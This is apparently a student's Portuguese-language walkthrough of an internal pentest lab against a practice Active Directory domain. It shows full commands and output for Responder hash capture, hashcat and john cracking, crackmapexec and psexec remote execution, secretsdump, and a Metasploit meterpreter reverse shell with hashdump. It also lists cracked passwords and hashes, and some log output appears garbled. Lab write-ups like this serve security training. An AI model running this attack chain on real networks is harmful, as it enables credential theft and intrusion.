

LAB - SEM 09 - PENTEST INTERNO

LAB01: 172.16.1.243,172.16.1.245,172.16.1.253

```
ssh pentester@172.16.1.249 -o HostKeyAlgorithms=+ssh-dss -o
PubkeyAcceptedAlgorithms=+ssh-rsa -p 22334
```

<senha: root>

+ Primeiro fizemos um filtro pelos hosts com a porta 445 aberta, usando o nmap

```
nmap -v -sS --open -p 445 -Pn 172.16.1.0/24 -oG smb.txt
```

→ lembrando que -oG é o de "output" e G de "grepable"

→ fizemos o filtro somente pelos endereços de ip e mandamos para o arquivo labtargets.txt

```
cat smb.txt | cut -d " " -f 2 > labtargets.txt
```

+ Executamos o crackmapexec

```
crackmapexec smb labtargets.txt
```

```
(root@pentester)-[/home/pentester]
# crackmapexec smb labtargets.txt
SMB 172.16.1.253 445 CORPPC02 [*] Windows 10.0 Build 18362 x64 (name:CORPPC02) (domain:ORIONSCORP2.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.1.60 445 SRVINT [*] Windows Server 2008 R2 Enterprise 7600 x64 (name:SRVINT) (domain:gbusiness.rede) (signing:True) (SMBv1:True)
SMB 172.16.1.107 445 SMB [*] Windows 6.1 (name:SMB) (domain:) (signing:False) (SMBv1:True)
SMB 172.16.1.107 445 SMB [*] Windows 6.1 (name:SMB) (domain:) (signing:False) (SMBv1:True)
SMB 172.16.1.243 445 SERVAD02 [*] Windows 10.0 Build 17763 x64 (name:SERVAD02) (domain:ORIONSCORP2.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.1.245 445 CORPPC01 [*] Windows 10.0 Build 18362 x64 (name:CORPPC01) (domain:ORIONSCORP2.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.1.233 445 SRVSPIDER [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:SRVSPIDER) (domain:DHCE.LOCAL) (signing:True) (SMBv1:True)
SMB 172.16.1.253 445 CORPPC02 [*] Windows 10.0 Build 18362 x64 (name:CORPPC02) (domain:ORIONSCORP2.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.1.243 445 SERVAD02 [*] Windows 10.0 Build 17763 x64 (name:SERVAD02) (domain:ORIONSCORP2.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.1.245 445 CORPPC01 [*] Windows 10.0 Build 18362 x64 (name:CORPPC01) (domain:ORIONSCORP2.LOCAL) (signing:False) (SMBv1:False)
SMB 172.16.1.60 445 SRVINT [*] Windows Server 2008 R2 Enterprise 7600 x64 (name:SRVINT) (domain:gbusiness.rede) (signing:True) (SMBv1:True)
SMB 172.16.1.233 445 SRVSPIDER [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:SRVSPIDER) (domain:DHCE.LOCAL) (signing:True) (SMBv1:True)
SMB 172.16.1.5 445 SERVER5 [*] Unix (name:SERVER5) (domain:SERVER5) (signing:False) (SMBv1:True)
SMB 172.16.1.5 445 SERVER5 [*] Unix (name:SERVER5) (domain:SERVER5) (signing:False) (SMBv1:True)
SMB 172.16.1.4 445 WKS01 [*] Windows 5.1 (name:WKS01) (domain:gbusiness.rede) (signing:False) (SMBv1:True)
SMB 172.16.1.4 445 WKS01 [*] Windows 5.1 (name:WKS01) (domain:gbusiness.rede) (signing:False) (SMBv1:True)
```

→ Daqui podemos concluir quem pertencia ou não à rede orionscorp2.local

LAB02: lotavio,rlourdes

→ Aplicamos o ataque de NBT-NS / LLMNR

→ Primeiro configuramos o responder.conf para responder somente aos endereços de IP que pertencem à orionscorp2.local

```
cd /etc/responder
```

```
nano Responder.conf
```

```
; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
RespondTo = 172.16.1.243, 172.16.1.245, 172.16.1.253
```

→ E aí começamos o ataque que só funciona no caso de termos acesso à uma máquina local (como é esse o caso, dado nossa conexão via ssh)

```
responder -I eth0 -Pv
```

```

(root@pentester)-[/etc/responder] autosave needed
# responder -I eth0 -Pv [ ] [debug] autosave needed
[2024-03-12 20:03:25.038] [ ] [debug] Node name: Pentest
[2024-03-12 20:03:25.038] [ ] [debug] Node name: Captur
[2024-03-12 20:03:25.497] [ ] [debug] Node name: Captur
[2024-03-12 20:03:25.595] [ ] [debug] Node name: Ataque
[2024-03-12 20:04:01.315] [ ] [debug] Node name: LAB -
[2024-03-12 20:04:09.649] [ ] [debug] Node name: LAB -
[2024-03-12 20:04:12.068] [ ] [debug] Node name: Ataque
To support this project: [ ] [debug] autosave no need
Patreon → https://www.patreon.com/PythonResponder
Paypal → https://paypal.me/PythonResponder
[2024-03-12 20:04:56.160] [ ] [debug] Node name: Captur
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C [debug] Node name: Ataque
[2024-03-12 20:06:22.684] [ ] [debug] autosave no need
[+] You don't have an IPv6 address assigned. name: LAB -
[2024-03-12 20:07:22.682] [ ] [debug] autosave no need
[+] Poisoners: 07:40.918 [ ] [debug] Node name: Captur
[2024-03-12 20:08:22.680] [ ] [ON] [debug] autosave no need
[2024-03-12 20:09:22.692] [ ] [ON] [debug] autosave no need
[2024-03-12 20:10:22.682] [ ] [ON] [debug] autosave no need
[2024-03-12 20:11:22.691] [ ] [ON] [debug] autosave no need
[2024-03-12 20:12:22.708] [ ] [OFF] [debug] autosave no need
[2024-03-12 20:13:03.707] [ ] [debug] Node name: LAB -
[+] Servers: 20:13:22.680 [ ] [debug] autosave needed
[2024-03-12 20:14:22.680] [ ] [ON] [debug] autosave needed
[2024-03-12 20:15:22.703] [ ] [ON] [debug] autosave needed
[2024-03-12 20:16:22.740] [ ] [OFF] [debug] autosave no need
[2024-03-12 20:17:22.739] [ ] [ON] [debug] autosave no need
[2024-03-12 20:18:22.739] [ ] [ON] [debug] autosave no need
[2024-03-12 20:19:22.739] [ ] [ON] [debug] autosave no need
[2024-03-12 20:20:22.685] [ ] [ON] [debug] autosave no need
[2024-03-12 20:21:22.680] [ ] [ON] [debug] autosave needed
[2024-03-12 20:22:22.680] [ ] [ON] [debug] autosave needed
[2024-03-12 20:23:22.679] [ ] [ON] [debug] autosave needed
SMTP server [ON]

```

```
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]

[+] Generic Options:
Responder NIC [eth0]
Responder IP [172.16.1.249]
Responder IPv6 [::1]
Challenge set [random]
Respond To ['172.16.1.243', '172.16.1.245', '172.16.1.253']
Don't Respond To Names ['ISATAP']

[+] Current Session Variables:
Responder Machine Name [WIN-PGM1TSV2CVB]
Responder Domain Name [E5WY.LOCAL]
Responder DCE-RPC Port [47847]

[+] Listening for events ...
```

```
[+] Listening for events ...
```

```
[SMB] NTLMv2-SSP Client      : 172.16.1.245
[SMB] NTLMv2-SSP Username    : ORIONSCORP2\lotavio
[SMB] NTLMv2-SSP Hash        : lotavio::ORIONSCORP2:ff99a7126a15
035005700590001001E00570049004E002D00500047004D00310054005300
9002E004C004F00430041004C000300140045003500570059002E004C004F
03000300000000000000000000000000200000C7148433F8DA2049F7F4D793
F0073006500720076006100640032000000000000000000
[SMB] NTLMv2-SSP Client      : 172.16.1.253
[SMB] NTLMv2-SSP Username    : ORIONSCORP2\rlourdes
[SMB] NTLMv2-SSP Hash        : rlourdes::ORIONSCORP2:6d5bd671e0b
0035005700590001001E00570049004E002D00500047004D00310054005300
59002E004C004F00430041004C000300140045003500570059002E004C004
003000300000000000000000000000001000000002000000291F2A5418CB29E0E36E16
2F0073006500720076006100640032000000000000000000
```

```
(root@DESKTOP-NJHHNK6)-[/home/kali]
# hashid LOTAVIO::ORIONSCORP2:3aa36fdcb980
1e00570049004e002d00500047004d00310054005300
0041004c000300140045003500570059002e004c004f
000000000000000200000c7148433f8da2049f7f4d793
00610064003200000000000000000000
Analyzing 'LOTAVIO::ORIONSCORP2:3aa36fdcb980
1e00570049004e002d00500047004d00310054005300
0041004c000300140045003500570059002e004c004f
000000000000000200000c7148433f8da2049f7f4d793
00610064003200000000000000000000'
[+] NetNTLMv2
```

```
hashcat -m 5600 orionhash /home/kali/rockyou.txt
```

```

RLOURDES :: ORIONSCORP2:7cd7a8b7ba002660:d4a4c2c9b69c340e13d9c78383
004e002d00500047004d003100540053005600320043005600420004003400570
0300140045003500570059002e004c004f00430041004c000500140045003500
00002000000291f2a5418cb29e0e36e16818a1a7dfa566917a35f73ba72512cf
320000000000000000000000:georgeorwell1984

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5600 (NetNTLMv2)
Hash.Target.....: orionhash

```

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

4/14


```
(root@pentester)-[/home/pentester]
# john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
porche911. (lotavio)
1g 0:00:00:04 DONE (2024-03-12 21:44) 0.2288g/s 1044Kp/s 1044Kc/s 10
Use the "--show --format=netntlmv2" options to display all of the cr
Session completed.

Append --S to the commandline.

(root@pentester)-[/home/pentester] but can be better for specific
# nano hashes scenarios are a small wordlist but a large ruleset.

(root@pentester)-[/home/pentester] driver the right way:
# john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C
Remaining 1 password hash tag/morework
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
georgeorwell1984 (rlourdes) 0054005300560032004300560042000400340057
1g 0:00:00:06 DONE (2024-03-12 21:45) 0.1572g/s 1244Kp/s 1244Kc/s 12
Use the "--show --format=netntlmv2" options to display all of the cr
Session completed.000000:georgeorwell1984
```

→ 172.16.1.253 → rlourdes

→ 172.16.1.245 → lotavio

LAB05: 179e18d965fb4768f0304b8050631760

+ Dessa vez fizemos um uso ostensivo do crackmapexec

```
crackmapexec smb 172.16.1.253 -u rlourdes -p 'georgeorwell1984' -x 'dir'
```

```
(root@pentester)-[/home/pentester]
# crackmapexec smb 172.16.1.253 -u rlourdes -p 'georgeorwell1984' -x 'dir'
SMB 172.16.1.253 445 CORPPC02 [*] Windows 10.0 Build 18362 x64 (name:CORPPC02) (domain:ORIONSCORP2.LOCAL)
SMB 172.16.1.253 445 CORPPC02 [+] ORIONSCORP2.LOCAL\rlourdes:georgeorwell1984 (Pwn3d!)
SMB 172.16.1.253 445 CORPPC02 [+] Executed command
SMB 172.16.1.253 445 CORPPC02 0 volume na unidade C não tem nome.
SMB 172.16.1.253 445 CORPPC02 0 Número de Série do Volume é BA9D-CFC6
SMB 172.16.1.253 445 CORPPC02 Pasta de C:\Windows\system32
SMB 172.16.1.253 445 CORPPC02
SMB 172.16.1.253 445 CORPPC02 18/02/2021 10:24 <DIR>
SMB 172.16.1.253 445 CORPPC02 18/02/2021 10:24 <DIR> ..
SMB 172.16.1.253 445 CORPPC02 19/03/2019 09:47 <DIR> 0409
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 3.176 @AdvancedKeySettingsNotification.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 232 @AppHelpToast.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 308 @AudioToastIcon.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 450 @BackgroundAccessToastIcon.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 199 @bitlockertoastimage.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 14.791 @edpttoastimage.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 330 @EnrollmentToastIcon.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:44 563 @language_notification_icon.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:45 483 @optionalfeatures.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:45 404 @VpnToastIcon.png
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:45 195.443 @windows-hello-V4.1.gif
SMB 172.16.1.253 445 CORPPC02 19/03/2019 01:45 714 @WindowsHelloFaceToastIcon.png
```

→ Com isso percebemos que estávamos no diretório /WINDOWS/System32

→ Usamos um comando que, sem sair do diretório em questão, faz a listagem na raiz:

```
crackmapexec smb 172.16.1.253 -u rlourdes -p 'georgeorwell1984' -x 'dir /D \'
```

```
(root@pentester)-[/home/pentester]
# crackmapexec smb 172.16.1.253 -u rlourdes -p 'georgeorwell1984' -x 'dir /D \'
SMB 172.16.1.253 445 CORPPC02 [*] Windows 10.0 Build 18362 x64 (name:CORPPC02) (domain:ORIONSCORP2)
SMB 172.16.1.253 445 CORPPC02 [+] ORIONSCORP2.LOCAL\rlourdes:georgeorwell1984 (Pwn3d!)
SMB 172.16.1.253 445 CORPPC02 [+] Executed command
SMB 172.16.1.253 445 CORPPC02 0 volume na unidade C não tem nome.
SMB 172.16.1.253 445 CORPPC02 0 Número de Série do Volume é BA9D-CFC6
SMB 172.16.1.253 445 CORPPC02 Pasta de C:\
SMB 172.16.1.253 445 CORPPC02 [Docs] [Program Files] [Windows]
SMB 172.16.1.253 445 CORPPC02 HqELpW [Program Files (x86)]
SMB 172.16.1.253 445 CORPPC02 Information.txt [Temp]
SMB 172.16.1.253 445 CORPPC02 [PerfLogs] [Users]
SMB 172.16.1.253 445 CORPPC02 2 arquivo(s) 32 bytes
SMB 172.16.1.253 445 CORPPC02 7 pasta(s) 11.845.824.512 bytes disponíveis
^CException ignored in: <module 'threading' from '/usr/lib/python3.11/threading.py'>
Traceback (most recent call last):
  File "/usr/lib/python3.11/threading.py", line 1590, in _shutdown
    lock.acquire()
KeyboardInterrupt:
```

→ E aí vimos que havia, de fato, uma information na raiz

```
crackmapexec smb 172.16.1.253 -u rlourdes -p 'georgeorwell1984' -x 'type C:\Information.txt'
```

```
(root@pentester)-[/home/pentester]
# crackmapexec smb 172.16.1.253 -u rlourdes -p 'georgeorwell1984' -x 'type C:\Information.txt'
SMB 172.16.1.253 445 CORPPC02 [*] Windows 10.0 Build 18362 x64 (name:CORPPC02) (domain:ORIONSCORP2)
SMB 172.16.1.253 445 CORPPC02 [+] ORIONSCORP2.LOCAL\rlourdes:georgeorwell1984 (Pwn3d!)
SMB 172.16.1.253 445 CORPPC02 [+] Executed command
SMB 172.16.1.253 445 CORPPC02 179e18d965fb4768f0304b8050631760
```

LAB06: 8dbbc3f197a67809d3662f9f312ac68b

```
python3 /usr/share/doc/python3-impacket/examples/psexec.py orionscorp2/rlourdes:'georgeorwell1984'@172.16.1.253
```

→ Assim obtivemos acesso à shell

```
C:\Users\rlourdes\Desktop> type Rafaela.txt
8dbbc3f197a67809d3662f9f312ac68b
```

LAB07: thenrique

+ Bora lá, primeiro fizemos a pesquisa via [rpcclient](#) e depois pegamos alguns hashes com o [impacket-secretsdump](#)

```
rpcclient -W orionscorp2 -U rlourdes 172.16.1.243
```

<passamos a senha: georgeorwell1984>

```
enumdomusers
```

```

rpcclient $> enumdomusers
user:[Administrador] rid:[0x1f4]
user:[Convidado] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[Egabriel] rid:[0x452]
user:[Abeatriz] rid:[0x455]
user:[Jvitor] rid:[0x456]
user:[MFernanda] rid:[0x45a]
user:[ACosta] rid:[0x45d]
user:[SQLService] rid:[0x460]
user:[rlourdes] rid:[0xa29]
user:[lotavio] rid:[0xa2a]
user:[thenrique] rid:[0xa2b]

```

→ Para ver quem são os usuários

```
enumdomgroups
```

```

rpcclient $> enumdomgroups
group:[Controladores de Domínio de Empresa Somente Leitura] rid:[0x1f2]
group:[Administradores do Domínio] rid:[0x200]
group:[Usuários do Domínio] rid:[0x201]
group:[Convidados do Domínio] rid:[0x202]
group:[Computadores do domínio] rid:[0x203]
group:[Controladores de domínio] rid:[0x204]
group:[Administradores de esquema] rid:[0x206]
group:[Administradores de empresa] rid:[0x207]
group:[Proprietários criadores de diretiva de grupo] rid:[0x208]
group:[Controladores de Domínio Somente Leitura] rid:[0x209]
group:[Controladores de Domínio Clonáveis] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Administradores de Chaves] rid:[0x20e]
group:[Administradores de Chaves Empresariais] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]

```

→ Para ver os grupos

```
querygroup 0x200
```

```
querygroupmem 0x200
```

```

rpcclient $> querygroup 0x200
Group Name: Administradores do Domínio
Description: Administradores designados do domínio
Group Attribute:7
Num Members:4
rpcclient $> querygroupmem 0x200
rid:[0x1f4] attr:[0x7]
rid:[0x452] attr:[0x7]
rid:[0x460] attr:[0x7]
rid:[0xa2b] attr:[0x7]

```

→ Para ver informações acerca dos Administradores de Domínio

→ E aí fizemos a varredura manual por cada um desses 4 (0x1f4 ... 0xa2b)

```
queryuser 0xa2b
```

```
rpcclient $> queryuser 0xa2b
User Name      : thenrique
Full Name      : Tiago Henrique
Home Drive     :
Dir Drive      :
Profile Path    :
Logon Script    :
Description    :
Workstations    :
Comment        :
Remote Dial     :
Logon Time      : Fri, 15 Mar 2024 01:49:07 -03
Logoff Time     : Wed, 31 Dec 1969 21:00:00 -03
Kickoff Time    : Wed, 31 Dec 1969 21:00:00 -03
Password last set Time in : Tue, 16 Feb 2021 19:13:40 -03
Password can change Time : Wed, 17 Feb 2021 19:13:40 -03
Password must change Time: Wed, 13 Sep 30828 23:48:05 -03
unknown_2[0..31] ...
user_rid       : 0xa2b
group_rid      : 0x201
acb_info       : 0x00000210
fields_present : 0x00ffffff
logon_divs     : 168
bad_password_count : 0x00000000
logon_count    : 0x00000022
padding1[0..7] ...
logon_hrs[0..21] ...
```

→ E aí fique na dúvida entre esse thenrique e um tal de egabriel que apareceu

+ Mas a dúvida foi sanada quando demos o impacket-secretsdump

```
impacket-secretsdump rlourdes:georgeorwell1984@172.16.1.253
```

Impacket v0.11.0 - Copyright 2023 Fortra

```
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x290e93b533730c6145eca1522ed0439a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f6ff1bd688b85e836aa2b7d6bb60bdcd:::
Usuario:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
ORIONSCORP2.LOCAL/thenrique:$DCC2$10240#thenrique#bffd65356630d9a479f8e6761f56393d: (2021-02-18 13:58:33)
ORIONSCORP2.LOCAL/rlourdes:$DCC2$10240#rlourdes#44678d854a9acf5af8e6ea2a802eabb2: (2021-02-18 14:11:33)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
```



```

ORIONSCORP2\CORPPC02$:aes256-cts-hmac-
sha1-96:692a90af35c92bf5416b5fe9e0479175753cfcf4e9f05d3b0ed42b4a32ae4081
ORIONSCORP2\CORPPC02$:aes128-cts-hmac-sha1-96:f0bc039dd315cbc2e79bbdcd4c054c0e
ORIONSCORP2\CORPPC02$:des-cbc-md5:a4a889984c0285e9
ORIONSCORP2\CORPPC02$:plain_password_hex:
55d34f69714961f63a86558607faa7d64396d3774163ec978f8c25c39ee5532b95d4f2e3dc6da85695840ac33a99440
6a59ae416db48aa193442382a8ef6e0b64ba795dc7c77a8f7542187f9229f6721befc6af4a02a5114e74fe3fda055616
3d9e7d65a5f38cb6c79de30512d74c7737939f9a27abae059bc95a942ee09853307ceca981769654bde4ee1e7d491d-
9c0e890fcfae14e7dd2ad26f4c266818b059eadd84da4083828080bc0e5fd86604ca67f739da803e2a5d0c0bae293a78
0315095bba26f32a52696e67b8b0e7b4721efa7cbd47869afee61cf76f954f8ff451fa6fab03410df768119655dce3bfa8f
ORIONSCORP2\CORPPC02$:aad3b435b51404eeaad3b435b51404ee:1703f92f79ab8265ea86ac32371b5cc9:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x6fb1da2072c2e43bb3cd47250b98be9ab1f902ba
dpapi_userkey:0x3d9ccfb7fd947f76554fc99557cb1e72c228a00e
[*] NL$KM
0000 A1 D2 8E 3B 82 A2 05 A2 3A EC 22 2F 11 13 85 D5 ...;....."/....
0010 E6 6A 6A 61 5C 37 30 D8 50 CC 1E CA 4B 52 54 05 .jja\70.P..KRT.
0020 2F 33 71 E7 70 12 27 6E 9C 92 6E 70 43 68 3D B3 /3q.p.'n..npCh=.
0030 6F 0E 55 D0 57 B6 F9 0F 9D 68 8E DB D4 76 29 6F o.U.W....h...v)o
NL$KM:a1d28e3b82a205a23aec222f111385d5e66a6a615c3730d850cc1eca4b5254052f3371e77012276e9c926e70
43683db36f0e55d057b6f90f9d688edbd476296f
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

```

→ Esse hash indica que o thenrique logou na rede e portanto é um cara ativo

LAB08: **tiagoHenrique**

→ resposta no lab anterior

LAB09: **dss!\$#asdadm1n**

→ Vimos nos labs anteriores o hash do thenrique. Esse é um hash do tipo dcc2, que representa a opção 2100 no hashcat.

→ Fizemos então a quebra do seguinte modo:

```
hashcat -m 2100 ohash /home/kali/rockyou.txt --force
```

\$DCC2\$10240#thenrique#bffd65356630d9a479f8e6761f56393d:dss!\$#asdadm1n

```

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 2100 (Domain Cached Credentials 2 (DCC2), MS Cache 2)
Hash.Target.....: $DCC2$10240#thenrique#bffd65356630d9a479f8e6761f56393d
Time.Started.....: Fri Mar 15 00:30:08 2024, (33 mins, 46 secs)
Time.Estimated...: Fri Mar 15 01:03:54 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/home/kali/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 3871 H/s (6.39ms) @ Accel:256 Loops:256 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 8491008/14344384 (59.19%)
Rejected.....: 0/8491008 (0.00%)
Restore.Point....: 8489984/14344384 (59.19%)

```

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9984-10239

Candidate.Engine.: Device Generator

Candidates.#1....: dt1988 -> dsp30oe

Hardware.Mon.#1...: Temp: 73c Util: 96%

Started: Fri Mar 15 00:30:06 2024

Stopped: Fri Mar 15 01:03:56 2024

→ em que o arquivo ohash carregava justamente o hash

\$DCC2\$10240#thenrique#bffd65356630d9a479f8e6761f56393d

→ e assim crackeamos mais uma senha, hehe

LAB10: eae25e07beb1f3606254ee317884142f

→ o CORPPC01 é o 172.16.1.245

```
python3 /usr/share/doc/python3-impacket/examples/psexec.py orionscorp2/thenrique:'dss!$#asdadm1n'@172.16.1.245
```

→ Regredimos até a raiz e abrimos o arquivo information

```
Pasta de C:\> type (200774 bytes) to 172.16.1.243
[*] Meterpreter session 1 opened (172.16.1.249:4444 → 172.16.1.243:52850) at 2024-03-15 00:30:06
17/02/2021 00:01 34 information.txt.txt
16/02/2021 02:46 <DIR> PerfLogs
16/02/2021 02:37 <DIR> Program Files
16/02/2021 02:48 <DIR> Program Files (x86)
15/03/2024 03:15 <DIR> Share
16/02/2021 19:32 <DIR> temp
17/02/2021 00:03 <DIR> Users
15/03/2024 15:33 <DIR> Windows
[*] 1 arquivo(s) 34 bytes
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
lotavio:2602 7 pasta(s) 10.909.048.832 bytes disponiveis
thenrique:2603 7 pasta(s) 10.909.048.832 bytes disponiveis
ERVAD02$1000 7 pasta(s) 10.909.048.832 bytes disponiveis
C:\> type information.txt.txt
eae25e07beb1f3606254ee317884142f
```

LAB11: 8e7688a3fb575e46d6326cfd01cfbe7

→ Fomos para a conta do lotavio

```
Pasta de C:\Users\lotavio\Desktop
16/02/2021 23:49 <DIR> .
16/02/2021 23:49 <DIR> ..
16/02/2021 23:45 1.450 Microsoft Edge.lnk
16/02/2021 23:53 32 Otavio.txt.txt
2 arquivo(s) 1.482 bytes
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
2 pasta(s) 10.909.106.176 bytes disponveis

C:\Users\lotavio\Desktop> type Otavio.txt.txt
8e7688a3fb575e46d6326cfd01cfbe7
```

LAB12: 6a51135fea1d3c5c0b764a39c9373bdd

→ O SERVAD02 é o 172.16.1.243

```
python3 /usr/share/doc/python3-impacket/examples/psexec.py orionscorp2/
thenrique:'dss!$#asdadm1n'@172.16.1.243
```

```
Pasta de C:\
16/02/2021 19:21 32 information.txt.txt
15/03/2024 12:50 0 nome_do_arquivo_recebido
15/09/2018 04:19 <DIR> PerfLogs
15/03/2024 01:54 <DIR> Program Files
26/12/2019 03:56 <DIR> Program Files (x86)
17/02/2021 22:55 57.344 sam
15/03/2024 12:08 57.344 samOK
19/02/2020 17:31 <DIR> Shares
17/02/2021 22:56 16.617.472 system
15/03/2024 12:45 16.719.872 systemOK
17/02/2021 23:12 <DIR> Users
15/03/2024 15:56 <DIR> Windows
6 arquivo(s) 33.452.064 bytes
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
6 pasta(s) 24.984.854.528 bytes disponveis

C:\> type information.txt.txt
6a51135fea1d3c5c0b764a39c9373bdd
```

→ Descemos até a raiz e então abrimos o arquivo information.txt.txt

LAB13: 962e93a2eff8421e755853d834b607b1

```
Pasta de C:\Users\Administrador\Desktop
Ainda dentro do host SERVAD02 consiga

16/02/2021  20:08  <DIR>      .
16/02/2021  20:08  <DIR>      ..
26/12/2019  00:45          1.164 Active Directory Users and Computers.lnk
16/02/2021  19:18          32 Administrator.txt.txt
                2 arquivo(s)          1.196 bytes
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encod
and then execute smbexec.py again with -codec and the corresponding codec
                2 pasta(s)  24.984.788.992 bytes dispon*veis

C:\Users\Administrador\Desktop> type Administrator.txt.txt
962e93a2eff8421e755853d834b607b1
```

LAB14: #ptm@sql@kiero#

LAB15: Beatboxman2K7

LAB16: !amorloko!_15

→ Dessa vez usamos o msfconsole

exploit/windows/smb/psexec e o payload windows/x64/meterpreter/reverse_tcp

→ Setamos as seguintes configurações

```
msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.1.243
RHOSTS => 172.16.1.243
msf6 exploit(windows/smb/psexec) > set smbdomain orionscorp2
smbdomain => orionscorp2
msf6 exploit(windows/smb/psexec) > set smbpass dss!$#asdadm1n
smbpass => dss!$#asdadm1n
msf6 exploit(windows/smb/psexec) > set smbuser thenrique
smbuser => thenrique
```

→ setamos tbm o lhost para ser 172.16.1.249 (domínio do nosso ssh)

→ E aí tivemos o acesso do meterpreter e demos um hashdump

meterpreter > hashdump

```
Administrador:500:aad3b435b51404eeaad3b435b51404ee:64687ec9a800d8299439f67bfa8a2b26:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2b7b11beec8f0c0c3bd6e8e5c0e5ee36:::
Egabriel:1106:aad3b435b51404eeaad3b435b51404ee:c1c1e3cf2ceab42b808f51e606afb6ec:::
Abeatriz:1109:aad3b435b51404eeaad3b435b51404ee:d6770fd417010a449c71a7b5ff09aaa3:::
Jvitor:1110:aad3b435b51404eeaad3b435b51404ee:fd56456c7cb8d4ea89464c429811180b:::
MFernanda:1114:aad3b435b51404eeaad3b435b51404ee:3131b391bfbed0cd456c6dc1bdad8133:::
ACosta:1117:aad3b435b51404eeaad3b435b51404ee:71e1be133b492b71a9c8c3ef42cc5fbb:::
SQLService:1120:aad3b435b51404eeaad3b435b51404ee:ae0201a5b8bef43a29799747f2270970:::
rlourdes:2601:aad3b435b51404eeaad3b435b51404ee:5cc9e679a72856355e329344642dd716:::
lotavio:2602:aad3b435b51404eeaad3b435b51404ee:7fc98fcbf28f5fa5dea152763fdbc6f4:::
thenrique:2603:aad3b435b51404eeaad3b435b51404ee:0ec6e3d31c8bb181dcd0844981ffbb9c:::
SERVAD02$:1000:aad3b435b51404eeaad3b435b51404ee:9ea300ec482831f228bead747d978c8c:::
CORPPC01$:1104:aad3b435b51404eeaad3b435b51404ee:e58240df481daa1667e4309c691f1b56:::
CORPPC02$:1601:aad3b435b51404eeaad3b435b51404ee:1703f92f79ab8265ea86ac32371b5cc9:::
```

→ Esses hashes foram quebrados com o hashes.com

✓ Found:

ae0201a5b8bef43a29799747f2270970:#ptm@sql@kiero#

SEARCH AGAIN

✓ Found:

d6770fd417010a449c71a7b5ff09aaa3:Beatboxman2K7

SEARCH AGAIN

✓ Found:

71e1be133b492b71a9c8c3ef42cc5fbb:!amorloko!_15

SEARCH AGAIN

-----+++++-----+++++-----+++++-----
RASCUNHO
~~~~~

```
(root@pentester)-[/home/pentester]
